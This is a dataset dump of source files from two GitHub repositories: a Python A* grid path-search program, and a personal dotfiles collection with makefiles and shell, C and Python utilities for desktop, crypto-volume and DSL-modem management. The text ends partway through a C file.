[ { "alpha_fraction": 0.7936962842941284, "alphanum_fraction": 0.7994269132614136, "avg_line_length": 57.16666793823242, "blob_id": "5bc1760609c6a3c5c7514d93312874df8bab9486", "content_id": "a72f593b30b134b2f089b3eb7fd706b005a1cd85", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 349, "license_type": "no_license", "max_line_length": 156, "num_lines": 6, "path": "/README.md", "repo_name": "vinnykuhnel/A-Star_Path_Search", "src_encoding": "UTF-8", "text": "# A-Star_Path_Search\nA simple application that uses A* search with a Manhattan Distance Heuristic to determine the most efficient path to take through a obstacle filled 2-D map.\n\nUse instructions:\nRun the astar.py file with three command line arguments. Type print to display the grid and noprint to not. \nEx. python3 astar.py intRows intCols print\n" }, { "alpha_fraction": 0.6133190393447876, "alphanum_fraction": 0.6197636723518372, "avg_line_length": 30.382022857666016, "blob_id": "b28e2133603a8432c136ece51ab36749d12eacd4", "content_id": "bf459be09d780766a7fc8c7ab9f46a12ed1860e9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2793, "license_type": "no_license", "max_line_length": 104, "num_lines": 89, "path": "/astar.py", "repo_name": "vinnykuhnel/A-Star_Path_Search", "src_encoding": "UTF-8", "text": "from heapq import heappush, heappop\nfrom path import Location, Cell, map\nfrom typing import TypeVar, Iterable, Sequence, Generic, List, Callable, Set, Deque, Dict, Any, Optional\nimport sys\n\n\n#Represents the cost of making a move to a certian location\nclass Node(object):\n def __init__(self, loc: Location, cost: float, heuristic: float, parent=None):\n self.location: Location = loc\n self.cost: float = cost\n self.heuristic: float = heuristic\n self.parent: Node = parent\n\n def __lt__(self, other) -> bool:\n\n return (self.cost + self.heuristic) < (other.cost + other.heuristic)\n\n\n\nclass PriorityQueue():\n def __init__(self) -> None:\n self._container = []\n\n @property\n def empty(self) -> bool:\n return not self._container\n\n def push(self, item: Node) -> None:\n heappush(self._container, item)\n\n def pop(self) -> Node:\n return heappop(self._container)\n\n def __repr__(self) -> str:\n return repr(self._container)\n\n\n\ndef astar(start: Location, grid: map) -> Node:\n frontier: PriorityQueue = PriorityQueue()\n frontier.push(Node(start, 0.0, grid.manhattan(start)))\n\n explored: Dict[Location, float] = {start: 0.0}\n \n while not frontier.empty:\n current_node = frontier.pop()\n grid.expanded = grid.expanded + 1\n current_loc = current_node.location\n \n if grid.goal_test(current_loc):\n return current_node\n for child in grid.successors(current_loc):\n new_cost: float = current_node.cost + 1\n \n if child not in explored or explored[child] > new_cost:\n explored[child] = new_cost\n frontier.push(Node(child, new_cost, grid.manhattan(child), current_node))\n grid.generated = grid.generated + 1\n return None\n\n\ndef constructPath(grid: map, node: Node) -> None:\n while node.parent:\n if grid._grid[node.location.row][node.location.column] == ' ':\n\n grid._grid[node.location.row][node.location.column] = Cell.PATH\n node = node.parent\n\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 3:\n print(\"ERROR: Please pass row and column number\")\n exit()\n rows = int(sys.argv[1])\n columns = int(sys.argv[2])\n \n randomMap: map = map(rows, columns, 0.15, Location(0, 0), Location(rows - 2, columns - 2))\n solutionNode: Node = astar(randomMap.start, randomMap)\n if solutionNode:\n constructPath(randomMap, solutionNode)\n else:\n print(\"There is no path that leads to the goal state!\")\n if sys.argv[3] == \"print\":\n print(randomMap)\n #Output the number of nodes expanded/generated\n print(\"Nodes generated: \" + str(randomMap.generated))\n print(\"Nodes expanded: \" + str(randomMap.expanded))\n" }, { "alpha_fraction": 0.5852272510528564, "alphanum_fraction": 0.5965909361839294, "avg_line_length": 35.089744567871094, "blob_id": "e3a8e74dc811db7d5f8d4606496bf95c656d73f3", "content_id": "859a97254d39517a5ea22a2a32238fb4a13e80b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2816, "license_type": "no_license", "max_line_length": 160, "num_lines": 78, "path": "/path.py", "repo_name": "vinnykuhnel/A-Star_Path_Search", "src_encoding": "UTF-8", "text": "from enum import Enum\nimport random\nfrom typing import List, NamedTuple, Callable, Optional\nfrom math import sqrt\n\nclass Cell(str, Enum):\n EMPTY = \" \"\n BLOCKED = \"X\"\n START = \"S\"\n GOAL = \"G\"\n PATH = \"*\"\n\nclass Location(NamedTuple):\n row: int\n column: int\n\n\n\nclass map:\n def __init__(self, rows: int = 20, columns: int = 20, sparseness: float = 0.2, start: Location = Location(0, 0), goal: Location = Location(19, 19)) -> None:\n # Initialize a random map for the algorithm to solve\n self._rows: int = rows\n self._columns: int = columns\n self.start: Location = start\n self.goal: Location = goal\n #Initialize a 2D array of type cell enumerator\n self._grid: List[List[Cell]] = [[Cell.EMPTY for c in range(columns)] for r in range(rows)]\n #keep track of nodes expanded\n self.expanded: int = 1\n self.generated: int = 0\n\n\n #add in random blocked cells\n self._randomly_fill(rows, columns, sparseness)\n #set start and goal cells\n self._grid[start.row][start.column] = Cell.START\n self._grid[goal.row][goal.column] = Cell.GOAL\n\n\n def _randomly_fill(self, rows: int, columns: int, sparseness: float):\n for row in range(rows):\n for column in range(columns):\n if random.uniform(0, 1.0) < sparseness:\n self._grid[row][column] = Cell.BLOCKED\n\n #Return a printable view of the maze\n def __str__(self) -> str:\n output: str = \"\"\n for row in self._grid:\n output += \"\".join([cell.value for cell in row]) + \"\\n\"\n return output\n\n def goal_test(self, loc: Location) -> bool:\n return loc == self.goal\n\n #Check which moves can be taken given current location\n def successors(self, loc: Location) -> List[Location]:\n locations: List[Location] = []\n #check move right\n if loc.row + 1 < self._rows and self._grid[loc.row + 1][loc.column] != Cell.BLOCKED:\n locations.append(Location(loc.row + 1, loc.column))\n\n #check move left\n if loc.row - 1 >= 0 and self._grid[loc.row - 1][loc.column] != Cell.BLOCKED:\n locations.append(Location(loc.row - 1, loc.column))\n #check move up\n if loc.column + 1 < self._columns and self._grid[loc.row][loc.column + 1] != Cell.BLOCKED:\n locations.append(Location(loc.row, loc.column + 1))\n #check move down\n if loc.column -1 >= 0 and self._grid[loc.row][loc.column - 1] != Cell.BLOCKED:\n locations.append(Location(loc.row, loc.column - 1))\n\n return locations\n\n def manhattan(self, current: Location) -> float:\n xdist: int = abs(current.column - self.goal.column)\n ydist: int = abs(current.row - self.goal.row)\n return (xdist + ydist)\n\n" } ]
3
StAlphonsos/attila
https://github.com/StAlphonsos/attila
475bd397a11e7ebb333d28efd27f5da2a2d0a212
71c6d86ecc0bbc21f82ee97c7db6057612e567b9
f26a7d9ca4777695b209a3855ddab1022cd5a051
refs/heads/master
2020-05-15T12:47:33.152085
2015-04-03T16:21:14
2015-04-03T16:21:14
33,371,553
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5828115940093994, "alphanum_fraction": 0.5867956876754761, "avg_line_length": 26.88888931274414, "blob_id": "102507aedaf766db85eb020db9fbfd61a2f8a8de", "content_id": "c3d6e1e72694d2086274ada1f1504fd142b293a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 1757, "license_type": "no_license", "max_line_length": 99, "num_lines": 63, "path": "/_makefile", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "# -*- makefile -*-\n#\n##+\n# The following targets are useful:\n# help produce this message\n# all build any software\n# install install everything but desktop into $HOME\n# desktop install desktop config into $HOME\n# to specify something other than x11 say:\n# $ make DESKTOP=foo desktop\n# clean clean up temp files\n# distclean clean + reset to virgin state\n# dist cook dist-version.tar.gz tarball\n##-\n\nSUBDIRS?=bin lib dotfiles emacs\nMAKESYS?=bsdmake BSDmakefile gnumake GNUmakefile _makefile\nOTHERS?=cwm-desktop freebsd-laptop mail-setup openbsd-any \\\n x11-desktop writing VERSION\n\nDESKTOP?=x11\nLAPTOP?=freebsd\n\nDIST_NAME=attila_env\n# Moved into make-specific file:\n#DIST_VERS!=cat VERSION\nDIST_TMP?=$(DIST_NAME)-$(DIST_VERS)\nDIST_LIST?=$(MAKESYS) $(SUBDIRS) $(OTHERS)\nDIST_TAR?=$(DIST_NAME)-$(DIST_VERS).tar\nDIST_TAR_GZ?=$(DIST_TAR).gz\n\ndefault: help\n\nhelp:\n\t@$(SED) -e '1,/^##+/d' -e '/^##-/,$$d' -e 's/^# //' < _makefile\n\nall install uninstall clean distclean::\n\t@(for dir in $(SUBDIRS); do (cd $$dir; $(MAKE) -f $(MAKEFILE) $(MFLAGS) S=$(S) MM=$(MM) $@); done)\n\ndistclean::\n\t$(RM) -f $(DIST_TAR) $(DIST_TAR_GZ)\n\t$(RM) -rf $(DIST_TMP)\n\ndist: distclean $(DIST_TAR_GZ)\n\ndesktop:\n\t(cd $(DESKTOP)-desktop; $(MAKE) $(MFLAGS) S=$(S) MM=$(MM) install)\n\nmail:\n\t(cd mail-setup; $(MAKE) $(MFLAGS) S=$(S) MM=$(MM) install)\n\nlaptop:\n\t(cd $(LAPTOP)-laptop; $(MAKE) $(MFLAGS) S=$(S) MM=$(MM) install)\n\n$(DIST_TAR): $(DIST_TMP)\n\t$(TAR_CF) $(DIST_TAR) $(DIST_TMP)\n\n$(DIST_TAR_GZ): $(DIST_TAR)\n\t$(GZIP) $(DIST_TAR)\n\n$(DIST_TMP):\n\t$(MKDIR) -p $(DIST_TMP)\n\t($(TAR_CF) - $(DIST_LIST)) | (cd $(DIST_TMP); $(TAR_XF) -)\n" }, { "alpha_fraction": 0.6194690465927124, "alphanum_fraction": 0.6283186078071594, "avg_line_length": 27.25, "blob_id": "ca2f9837e652cab035f9cc739ed652fae11f09c8", "content_id": "bcb088cef113f858b4ed32828fdb27564f434cbf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 113, "license_type": "no_license", "max_line_length": 92, "num_lines": 4, "path": "/dotfiles/rc", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\n$HOME/bin/psmap -n emacs || (cd $HOME; env SHELL=/usr/local/bin/zsh zsh -c \"emacs --daemon\")\nexit 0\n" }, { "alpha_fraction": 0.7094594836235046, "alphanum_fraction": 0.7297297120094299, "avg_line_length": 15.44444465637207, "blob_id": "fdd4bc3e4bedcd3b23b1acb019b9d657de7728c6", "content_id": "c258a00e5044a7f24e471b9a0574d997399bd4dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 148, "license_type": "no_license", "max_line_length": 26, "num_lines": 9, "path": "/bin/qs", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\necho `date`: suspending\npm-suspend\necho `date`: woke up\nsleep 3\necho `date`: scanning wifi\niwlist wlan0 scanning\necho `date`: done\nexit 0\n" }, { "alpha_fraction": 0.6053268909454346, "alphanum_fraction": 0.6125907897949219, "avg_line_length": 23.294116973876953, "blob_id": "7f78c8ba1bdf0fd6b8e0ffdb0190de5ef113d938", "content_id": "3db70c4d4dd98ebd8b358235866d91fe45d42164", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 413, "license_type": "no_license", "max_line_length": 131, "num_lines": 17, "path": "/mail-setup/_makefile", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "# -*- makefile -*-\n#\n\nDOTFILES?=flailrc offlineimaprc msmtprc\nDOTDIRS?=flail sigs\n\ndefault: all\n\nall clean distclean:\n\ninstall: all\n\t(for f in $(DOTFILES); do $(FAKE) $(INSTALL) $$f $(DOTDIR)/.$$f; done)\n\tchmod 600 $(DOTDIR)/.msmtprc\n\t(for d in $(DOTDIRS); do $(FAKE) $(MKDIR_P) $(DOTDIR)/.$$d; $(FAKE) $(TAR) -C $$d -cf - . | $(TAR) -C $(DOTDIR)/.$$d -xvf -; done)\n\nuninstall:\n\t@echo No uninstall for mail-setup\n" }, { "alpha_fraction": 0.6267942786216736, "alphanum_fraction": 0.6267942786216736, "avg_line_length": 25.125, "blob_id": "073a973862e997ae4661cc01acb0328ef7b5effe", "content_id": "d8b2a9e9bbc3f286137e444a62cd755f65b01aad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 209, "license_type": "no_license", "max_line_length": 51, "num_lines": 8, "path": "/bin/deagent", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n#\n[ x$LOCALHOME = x ] && LOCALHOME=/home/attila\nif [ x$SSH_AGENT_PID != x ]; then\n echo '[ Cleaning up agent pid '$SSH_AGENT_PID' ]'\n kill $SSH_AGENT_PID\n /bin/rm -f $LOCALHOME/.ssh/agent_info\nfi\n" }, { "alpha_fraction": 0.6335403919219971, "alphanum_fraction": 0.6832298040390015, "avg_line_length": 13.636363983154297, "blob_id": "59c4462a1ea7697815b480a9b640f5293643a096", "content_id": "6ecf733e9977d104e142dd5c94a64b8dd30e5cd4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 161, "license_type": "no_license", "max_line_length": 59, "num_lines": 11, "path": "/bin/numz", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\nclear\nwhat=`env DIALOG_TTY=1 dialog --inputbox search 10 60 2>&1`\nclear\nnumbers -S \"$what\"\necho ''\necho '[PRESS RETURN TO CLOSE]'\nread\nclear\nexit 0\n" }, { "alpha_fraction": 0.532608687877655, "alphanum_fraction": 0.5503952503204346, "avg_line_length": 22.534883499145508, "blob_id": "f8a8818188101cffc21a906fd471da7a4d7f48be", "content_id": "d8a7f63c366edd67cc1747b49ec44bf7686f1dd5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1012, "license_type": "no_license", "max_line_length": 78, "num_lines": 43, "path": "/bin/xtitle.c", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "/* xtitle.c - generate escape codes to set xterm/rxvt titles */\n\n#include <stdio.h>\n#include <string.h>\n\nint\nmain(int argc, char **argv)\n{\n char *prog_name;\n char *args;\n int length;\n int arg;\n\n prog_name = strrchr(argv[0], '/');\n if (prog_name == NULL)\n prog_name = argv[0];\n else\n prog_name++;\n for (length = 0, arg = 1; arg < argc; length += strlen(argv[arg]), arg++)\n ;\n args = (char *)malloc(length + arg + 5);\n if (args == NULL) {\n fprintf(stderr, \"%s: could not allocate %d bytes for string\\n\", prog_name,\n\t length + arg);\n exit(1);\n }\n *args = '\\0';\n if (strcasecmp(prog_name, \"xtitle\") == 0)\n strcpy(args, \"\u001b]2;\");\n else if (strcasecmp(prog_name, \"xicontitle\") == 0)\n strcpy(args, \"\u001b]1;\");\n else\n strcpy(args, \"\u001b]0;\");\n for (arg = 1; arg < argc; arg++) {\n strcat(args, argv[arg]);\n if ((arg + 1) < argc)\n strcat(args, \" \");\n }\n strcat(args, \"\u0007\");\n (void) write(1, args, length + arg + 4); /* don't write trailing \\0 */\n free(args);\n exit(0);\n}\n" }, { "alpha_fraction": 0.42185288667678833, "alphanum_fraction": 0.4356435537338257, "avg_line_length": 25.933332443237305, "blob_id": "19bf2f0cae6948a15412c99eaf415b1590a44253", "content_id": "83a3faa1312da2d5e28dc14804e053877803df3c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 2828, "license_type": "no_license", "max_line_length": 122, "num_lines": 105, "path": "/openbsd-any/crypt", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n# -*- mode:sh; indent-tabs-mode:nil; sh-indentation:2 -*-\n##\nCRYPT=${CRYPT-$HOME/personal/mine.img}\nCRYPT_MT=${CRYPT_MT-$HOME/mine}\n[ x\"$*\" = x ] && {\n x=`mount | grep $CRYPT_MT`\n if [ x\"$x\" = x ]; then\n echo $0: not mounted\n exit 1\n else\n echo $0: mounted: $x\n exit 0\n fi\n}\ncmd=$1\nshift\n[ x\"$1\" != x ] && {\n CRYPT=$1\n echo $0: using crypt image: $CRYPT\n shift\n}\n[ x\"$1\" != x ] && {\n CRYPT_MT=$1\n echo $0: using crypt mountpoint: $CRYPT_MT\n shift\n}\n[ ! -f $CRYPT ] && {\n echo $0: crypt $CRYPT is missing\n exit 1\n}\n[ ! -d $CRYPT_MT ] && {\n echo $0: mountpoint $CRYPT_MT is missing\n exit 1\n}\nVNDU=`sudo vnconfig -l | grep 'not in use' | head -1 | sed -e 's/^vnd//' -e 's/:.*$//'`\nVNDPARTITION=a\nSOFTRAIDU=0\nSDPARTITION=${CRYPT_PARTITION-c}\ncase $cmd in\n on|fsck)\n [ -d $CRYPT_MT/tmp ] && {\n echo $0: crypt already mounted\n exit 1\n }\n sudo vnconfig -c vnd${VNDU} $CRYPT\n sddev=\"\"\n while [ x\"$sddev\" = x ]; do\n sddev=`sudo bioctl -c C -l /dev/vnd${VNDU}${VNDPARTITION} softraid${SOFTRAIDU} | sed -e 's/^.*attached as //'`\n case \"$sddev\" in\n sd[0-9]*)\n echo $0: $CRYPT is on $sddev\n ;;\n .*passphrase.*)\n echo $0: $sddev\n sddev=\"\" \n ;;\n *)\n echo $0: huh: $sddev\n exit 2\n ;;\n esac\n done\n sdpart=${sddev}${SDPARTITION}\n if [ \"$cmd\" = \"fsck\" ]; then\n echo $0: fscking $CRYPT_MT on $sdpart\n sudo fsck $sdpart\n fi\n mount /dev/$sdpart $CRYPT_MT\n echo $0: $CRYPT on $sdpart mounted as $CRYPT_MT\n ;;\n off)\n [ ! -d $CRYPT_MT/tmp ] && {\n echo $0: crypt not mounted\n exit 1\n }\n sddev=`mount | grep $CRYPT_MT | awk '{print $1}'`\n if [ x\"$sddev\" = x ]; then\n echo $0: $CRYPT_MT not mounted anywhere\n exit 1\n fi\n vndev=`sudo vnconfig -l | grep $CRYPT | sed -e 's/:.*$//'`\n if [ x\"$vndev\" = x ]; then\n echo $0: cannot find vnd dev for $CRYPT\n sudo vnconfig -l\n exit 1\n fi\n echo $0: unmounting $CRYPT_MT as $sddev on $vndev\n umount $CRYPT_MT\n sddev=`echo $sddev | sed -e 's/^\\/dev\\///' -e 's/[a-z]$//'`\n sudo bioctl -d $sddev\n sudo vnconfig -u $vndev\n ;;\n list)\n set -- `sudo vnconfig -l | grep -v 'not in use' | sed -e 's/:.*$//'`\n while [ x\"$*\" != x ]; do\n vnd=$1\n shift\n done\n ;;\n *)\n echo usage: $0 '{on|fsck|off}'\n exit 1\n ;;\nesac\n" }, { "alpha_fraction": 0.5539714694023132, "alphanum_fraction": 0.6109979748725891, "avg_line_length": 26.27777862548828, "blob_id": "456283d49bec8bcf3fdc0548d02e06199882a621", "content_id": "13c7797e3ba3198e78a783caf97e9e0027447877", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 491, "license_type": "no_license", "max_line_length": 67, "num_lines": 18, "path": "/bin/nm-wwan-stomp", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\nWWAN_CON_UUID=${WWAN_CON_UUID-3f1fd0d1-69c0-4594-9c34-d6e0944923c2}\nWWAN_IFACE=${WWAN_IFACE-ppp0}\n#\ngsm_dev=\"`nmcli dev | grep gsm`\"\nis_up=\"`ifconfig $WWAN_IFACE 2>/dev/null | grep UP`\"\nbring_up=0\nif [ x\"${is_up}\" = x -a x\"${gsm_dev}\" != x ]; then\n echo $0: gsm device appears in list and we are NOT up\n nmcli nm wwan on\nelse\n if [ x\"${is_up}\" != x ]; then\n echo `ifconfig $WWAN_IFACE 2>/dev/null | grep inet`\n else\n echo WE ARE DOWN CAPTAIN\n fi\nfi\n" }, { "alpha_fraction": 0.565891444683075, "alphanum_fraction": 0.565891444683075, "avg_line_length": 15.125, "blob_id": "9090ccc825ec735b60ecb030d9634b37c63e2eb4", "content_id": "ab592baffa5c725525294254487094f5e1f87209", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 129, "license_type": "no_license", "max_line_length": 33, "num_lines": 8, "path": "/bin/BSDmakefile", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "# -*- makefile -*-\n#\n\nS?=..\nMM?=bsdmake\n.include \"$(S)/$(MM)/settings.mk\"\n.include \"$(S)/$(MM)/commands.mk\"\n.include \"_makefile\"\n" }, { "alpha_fraction": 0.6790123581886292, "alphanum_fraction": 0.6790123581886292, "avg_line_length": 26, "blob_id": "3b74742b9e6dcf7b5277a045a5f9215a0e11b3d4", "content_id": "ae5f51a9cb9c6f765da08475559b8ca8e857156d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 81, "license_type": "no_license", "max_line_length": 67, "num_lines": 3, "path": "/bin/hibernate_machine", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\nzenity --question --text=\"Really hibernate?\" && gksudo pm-hibernate\n" }, { "alpha_fraction": 0.5633768439292908, "alphanum_fraction": 0.5719911456108093, "avg_line_length": 32.303279876708984, "blob_id": "21c7a1b7572dd576fd5533e11b86299873d8f264", "content_id": "bdaa822fab78fad2953ca88ed8689153903014f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4063, "license_type": "no_license", "max_line_length": 134, "num_lines": 122, "path": "/bin/scrape_telmex_modem", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- mode:python; tab-width:4; indent-tabs-mode:nil; py-indent-offset:4 -*-\n##\n\n\"\"\"\n scrape_telmex_modem\n ~~~~~~~~~~~~~~~~~~~\n\n Scrape data from a 2wire DSL modem as fielded by Telmex in Mexico.\n\"\"\"\n\nimport os\nimport sys\nimport requests\nfrom optparse import OptionParser\nfrom pprint import pprint\nfrom bs4 import BeautifulSoup\n\nDEFAULT_USERNAME = os.environ.get('TELMEX_MODEM_UN','TELMEX')\nDEFAULT_PASSWORD = os.environ.get('TELMEX_MODEM_PW','')\nDEFAULT_ITEM = 'status'\nDEFAULT_IP = '192.168.1.254'\nDEFAULT_PORT = '80'\n\ndef whinge(*args):\n sys.stderr.write(\" \".join(map(str,args))+\"\\n\")\n\ndef es_to_en(words):\n return words\n\ndef nummy(what):\n val = what\n try:\n val = int(what)\n except ValueError:\n pass\n except TypeError:\n pass\n return val\n\ndef scrape_status(soup):\n tables = soup.find_all('table')\n stats = tables[1]\n row = stats.find('tr')\n groups = {}\n group = None\n while row:\n csp = int(row.find('td').get('colspan','1'))\n if csp == 4:\n group = (\"\"+row.find('td').text).strip()\n group = es_to_en(group)\n if group in groups:\n print \"? group '%s' appears twice?\" % group\n else:\n groups[group] = {}\n elif csp == 1:\n if group is None:\n print \"? strange row ignored (no group): %s\" % row\n else:\n data = groups[group]\n raw = [ (\"\"+x.text).strip() for x in row.find_all('td') ]\n if len(raw) != 4:\n print \"? row is not 4 cells: %s\" % row\n else:\n data[es_to_en(raw[0])] = nummy(raw[1])\n data[es_to_en(raw[2])] = nummy(raw[3])\n row = row.find_next_sibling('tr')\n pprint(groups)\n\ndef scrape_ip(soup):\n tables = soup.find_all('table')\n data = tables[1]\n row = data.find('tr')\n row_num = 0\n while row:\n row_num += 1\n cell = row.find('td')\n if cell:\n txt = cell.text\n if txt == 'PVC-0':\n cell = cell.find_next_sibling('td').find_next_sibling('td')\n print cell.text\n break\n row = row.find_next_sibling('tr')\n\nURLS = {\n 'status': ['http://{ip}:{port}/SysTrafficStatus.html',scrape_status],\n 'ip': ['http://{ip}:{port}/rpServiceStatus.html',scrape_ip],\n}\n\ndef main():\n parser = OptionParser()\n parser.add_option(\"-v\",\"--verbose\",dest=\"verbose\",action=\"store_true\",help=\"crank up verbosity\")\n parser.add_option(\"\",\"--user\",dest=\"user\",help=\"www username\")\n parser.add_option(\"\",\"--password\",dest=\"password\",help=\"www password\")\n parser.add_option(\"-m\",\"--max-tries\",dest=\"max_tries\",type=\"int\",default=3,help=\"max number of tries to fetch URL; default is 3\")\n parser.add_option(\"-i\",\"--ip\",dest=\"ip\",default=DEFAULT_IP,help=\"ip address of modem; default is %s\" % DEFAULT_IP)\n parser.add_option(\"-p\",\"--port\",dest=\"port\",default=DEFAULT_PORT,help=\"port of web server on modem; default is %s\" % DEFAULT_PORT)\n options,args = parser.parse_args()\n item = args[0] if args else DEFAULT_ITEM\n url_fmt,scraper = URLS.get(item,[None,None])\n if not url_fmt:\n parser.error(\"invalid item '%s' specified; one of: %s\" % (item,\", \".join(sorted(URLS.keys()))))\n url = url_fmt.format(ip=options.ip,port=options.port)\n if options.verbose:\n whinge(\"item '%s' => %s\" % (item,url))\n username = options.user if options.user else DEFAULT_USERNAME\n password = options.password if options.password else DEFAULT_PASSWORD\n tables = None\n ntries,max_tries = 0,options.max_tries\n while not tables and ntries < max_tries:\n resp = requests.request('GET',url,auth=(username,password))\n html = resp.content\n soup = BeautifulSoup(html)\n tables = soup.find_all('table')\n ntries += 1\n if not tables:\n parser.error(\"could not scrape tables from %s in %d tries\" % (url,ntries))\n scraper(soup)\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.4859813153743744, "alphanum_fraction": 0.5638629198074341, "avg_line_length": 39.125, "blob_id": "d7db26db65e8facdbdf2ab72c1e3ec64d8584dd6", "content_id": "8a74282720c04103660837aed800e87db311f141", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 321, "license_type": "no_license", "max_line_length": 74, "num_lines": 8, "path": "/bin/life", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\n#(tail -16 ~/logs/life.log | perl -lpe 'END { print \"\\n\" x 8 }') | \\\n# aosd_cat -n monospace -p 1 -x 0 -y 40 -l 6 -o 20 -f 20 -u 800\nosdtail ~/logs/life.log &\n[ -f ~/logs/work.log ] && (osdtail ~/logs/work.log 4 red 7 0 0 3 &)\n[ -f ~/logs/monitor.log ] && (osdtail ~/logs/monitor.log 8 blue 5 0 0 4 &)\nwait\n" }, { "alpha_fraction": 0.5555555820465088, "alphanum_fraction": 0.5555555820465088, "avg_line_length": 10.454545021057129, "blob_id": "bb5b7af25119fe13210e5781f917895bdf32fcf8", "content_id": "7a0807f0689cc6e8489331a1e41d182b2b2bfae9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 126, "license_type": "no_license", "max_line_length": 20, "num_lines": 11, "path": "/bsdmake/settings.mk", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "# -*- makefile -*-\n\nMM?=bsdmake\n\nS!=pwd\nH?=$(HOME)\nBINDIR?=$(H)/bin\nLIBDIR?=$(H)/lib\nEMACSDIR?=$(H)/emacs\nDOTDIR?=$(H)\nDOT?=.\n" }, { "alpha_fraction": 0.5879629850387573, "alphanum_fraction": 0.5972222089767456, "avg_line_length": 23, "blob_id": "c35b1992fb1ed6cc76d556b52f3f900f590e77df", "content_id": "9b7fcc6b621d9377a4912420d4e5a57ef1e9e808", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 216, "license_type": "no_license", "max_line_length": 43, "num_lines": 9, "path": "/openbsd-any/resconfed", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\n[ ! -f $HOME/lib/resolvconf.ed ] && {\n echo $0: no $HOME/lib/resolvconf.ed\n exit 1\n}\nRCONF=${RCONF-/etc/resolv.conf}\n[ ! -f $RCONF.bak ] && cp $RCONF $RCONF.bak\ned $RCONF < $HOME/lib/resolvconf.ed\n" }, { "alpha_fraction": 0.6186440587043762, "alphanum_fraction": 0.6186440587043762, "avg_line_length": 15.857142448425293, "blob_id": "b09014b64359a4e5012651426742f79558a0b0a5", "content_id": "9d9c8c4d1d5910d375abfe31d674cff41836c823", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 118, "license_type": "no_license", "max_line_length": 30, "num_lines": 7, "path": "/x11-desktop/GNUmakefile", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "# -*- makefile -*-\n\nS?=..\nMM?=gnumake\ninclude $(S)/$(MM)/settings.mk\ninclude $(S)/$(MM)/commands.mk\ninclude _makefile\n" }, { "alpha_fraction": 0.6296296119689941, "alphanum_fraction": 0.6296296119689941, "avg_line_length": 17, "blob_id": "007f49e2e4674068aa469a16c6ff42cc21db9b01", "content_id": "15e41e1fb235b6452f2542c7bf8483d262576187", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 540, "license_type": "no_license", "max_line_length": 52, "num_lines": 30, "path": "/writing/Makefile", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "## -*- makefile -*- for writing with MultiMarkdown\n\nMMD?=multimarkdown\nPDFLATEX?=pdflatex\nRM?=rm\n\n###\n# List your documents here like so:\n#\n# mydoc.pdf mydoc.html: mydoc.md\n#\n# Then you can just say e.g.:\n# $ make mydof.pdf\n\nhope.pdf hope.html: hope.md\n\n## The rest of this file makes the above possible...\n## ... but only YOU can make it necessary.\n\n.SUFFIXES: .pdf .md .tex .html\n\n.md.tex:\n\t$(MMD) -t latex -o $@ $<\n.tex.pdf:\n\t$(PDFLATEX) $<\n.md.html:\n\t$(MMD) -t html -o $@ $<\n\nclean:\n\t$(RM) -f *.{aux,glo,idx,ist,log,toc,out,tex,html}\n" }, { "alpha_fraction": 0.5544075965881348, "alphanum_fraction": 0.5656782388687134, "avg_line_length": 29.925312042236328, "blob_id": "a6bd56247e0a2d645ec818df159321eb4180a176", "content_id": "9f2826cf07f58927cbe640db7b6091e7a93b69cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 7453, "license_type": "no_license", "max_line_length": 486, "num_lines": 241, "path": "/bin/osdhud.c", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "/* -*- mode:c; c-basic-offset:4; tab-width:4; 